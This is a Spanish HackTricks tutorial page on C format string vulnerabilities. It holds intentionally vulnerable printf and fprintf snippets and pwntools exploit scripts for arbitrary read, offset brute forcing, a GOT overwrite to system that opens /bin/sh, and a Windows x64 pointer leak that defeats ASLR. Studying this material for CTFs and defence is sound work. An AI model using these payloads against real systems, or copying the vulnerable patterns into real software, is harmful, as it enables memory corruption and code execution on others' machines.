Format Strings

Reading time: 11 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

En C printf es una función que puede usarse para imprimir una cadena. El primer parámetro que espera esta función es el texto crudo con los especificadores de formato. Los parámetros siguientes que se esperan son los valores para sustituir los especificadores de formato del texto crudo.

Otras funciones vulnerables son sprintf() y fprintf().

La vulnerabilidad aparece cuando un texto del atacante se usa como primer argumento de esta función. El atacante podrá crear una entrada especial abusando de las capacidades de la cadena de formato de printf para leer y escribir cualquier dato en cualquier dirección (legible/escribible). De este modo podrá ejecutar código arbitrario.

Especificadores:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Ejemplos:

  • Ejemplo vulnerable:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Uso normal:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Con argumentos faltantes:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf vulnerable:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Accediendo a punteros

El formato %<n>$x, donde n es un número, permite indicarle a printf que seleccione el parámetro n (desde la stack). Así que si quieres leer el 4º parámetro de la stack usando printf podrías hacer:

c
printf("%x %x %x %x")

y leerías desde el primer hasta el cuarto parámetro.

O podrías hacer:

c
printf("%4$x")

y leer directamente el cuarto.

Fíjate que el atacante controla el printf parámetro, lo que básicamente significa que su entrada estará en la stack cuando se llame a printf, por lo que podría escribir direcciones de memoria específicas en la stack.

caution

Un atacante que controle esta entrada podrá añadir direcciones arbitrarias en la stack y hacer que printf las acceda. En la siguiente sección se explicará cómo usar este comportamiento.

Arbitrary Read

Es posible usar el formateador %n$s para hacer que printf obtenga la dirección situada en la posición n, seguirla y imprimirla como si fuera una cadena (imprime hasta que se encuentre un 0x00). Así que si la dirección base del binario es 0x8048000, y sabemos que la entrada del usuario empieza en la cuarta posición en la stack, es posible imprimir el inicio del binario con:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

Ten en cuenta que no puedes poner la dirección 0x8048000 al principio de la entrada porque la cadena se truncará en 0x00 al final de esa dirección.

Encontrar el offset

Para encontrar el offset de tu entrada puedes enviar 4 u 8 bytes (0x41414141) seguidos de %1$x e incrementar el valor hasta recuperar las A's.

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Qué tan útil

Arbitrary reads pueden ser útiles para:

  • Dump the binary de la memoria
  • Access specific parts of memory where sensitive info se almacena (como canaries, encryption keys o custom passwords como en este CTF challenge)

Arbitrary Write

El formateador %<num>$n escribe el número de bytes escritos en la dirección indicada en el parámetro <num> en la pila. Si un atacante puede escribir tantos caracteres como quiera con printf, podrá hacer que %<num>$n escriba un número arbitrario en una dirección arbitraria.

Afortunadamente, para escribir el número 9999 no es necesario añadir 9999 "A"s a la entrada; para ello es posible usar el formateador %.<num-write>%<num>$n para escribir el número <num-write> en la dirección apuntada por la posición num.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Sin embargo, ten en cuenta que normalmente, para escribir una dirección como 0x08049724 (que es un número ENORME para escribir de golpe), se usa $hn en lugar de $n. Esto permite escribir solo 2 Bytes. Por lo tanto, esta operación se realiza dos veces: una para los 2B más altos de la dirección y otra para los 2B más bajos.

Por tanto, esta vulnerabilidad permite escribir cualquier cosa en cualquier dirección (arbitrary write).

En este ejemplo, el objetivo será sobrescribir la dirección de una función en la GOT que se llamará más adelante. Aunque esto podría aprovechar otras técnicas de arbitrary write to exec:

Write What Where 2 Exec

Vamos a sobrescribir una función que recibe sus argumentos del usuario y apuntarla a la función system.
Como se mencionó, para escribir la dirección suelen hacerse 2 pasos: primero escribes 2Bytes de la dirección y luego los otros 2. Para ello se usa $hn.

  • HOB denomina a los 2 bytes más altos de la dirección
  • LOB denomina a los 2 bytes más bajos de la dirección

Luego, por cómo funciona format string debes escribir primero el menor de [HOB, LOB] y luego el otro.

Si HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Si HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Plantilla de Pwntools

Puede encontrar una plantilla para preparar un exploit para este tipo de vulnerabilidad en:

Format Strings Template

O este ejemplo básico de here:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Es posible abusar de las acciones de escritura de una format string vulnerability para escribir en direcciones de la pila y explotar una vulnerabilidad de tipo buffer overflow.

Windows x64: Format-string leak to bypass ASLR (no varargs)

En Windows x64 los primeros cuatro parámetros enteros/puntero se pasan en registros: RCX, RDX, R8, R9. En muchos call-sites con bugs la cadena controlada por el atacante se usa como argumento de formato, pero no se proporcionan argumentos variádicos, por ejemplo:

c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

Porque no se pasan varargs, cualquier conversión como "%p", "%x", "%s" hará que el CRT lea el siguiente variadic argument desde el registro correspondiente. Con la Microsoft x64 calling convention la primera lectura para "%p" proviene de R9. Cualquier valor transitorio que esté en R9 en el call-site será impreso. En la práctica esto a menudo leaks un puntero estable dentro del módulo (p. ej., un puntero a un objeto local/global previamente colocado en R9 por el código circundante o un callee-saved value), lo cual puede usarse para recuperar la module base y derrotar ASLR.

Practical workflow:

  • Inyecta un formato inofensivo como "%p " al inicio de la cadena controlada por el atacante para que la primera conversión se ejecute antes de cualquier filtrado.
  • Captura el leaked pointer, identifica el offset estático de ese objeto dentro del módulo (revirtiendo una vez con símbolos o una copia local), y recupera la image base como leak - known_offset.
  • Reutiliza esa base para calcular direcciones absolutas de ROP gadgets y entradas IAT de forma remota.

Ejemplo (python abreviado):

python
from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

Notas:

  • El exact offset a restar se encuentra una vez durante el reversing local y luego se reutiliza (same binary/version).
  • Si "%p" no imprime un puntero válido en el primer intento, prueba otros specifiers ("%llx", "%s") o múltiples conversiones ("%p %p %p") para samplear otros argument registers/stack.
  • Este patrón es específico de la Windows x64 calling convention y de las implementaciones printf-family que obtienen varargs inexistentes desde registers cuando el format string los solicita.

Esta técnica es extremadamente útil para bootstrap ROP en servicios Windows compilados con ASLR y sin primitivas obvias de memory disclosure.

Otros Ejemplos & Referencias

References

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks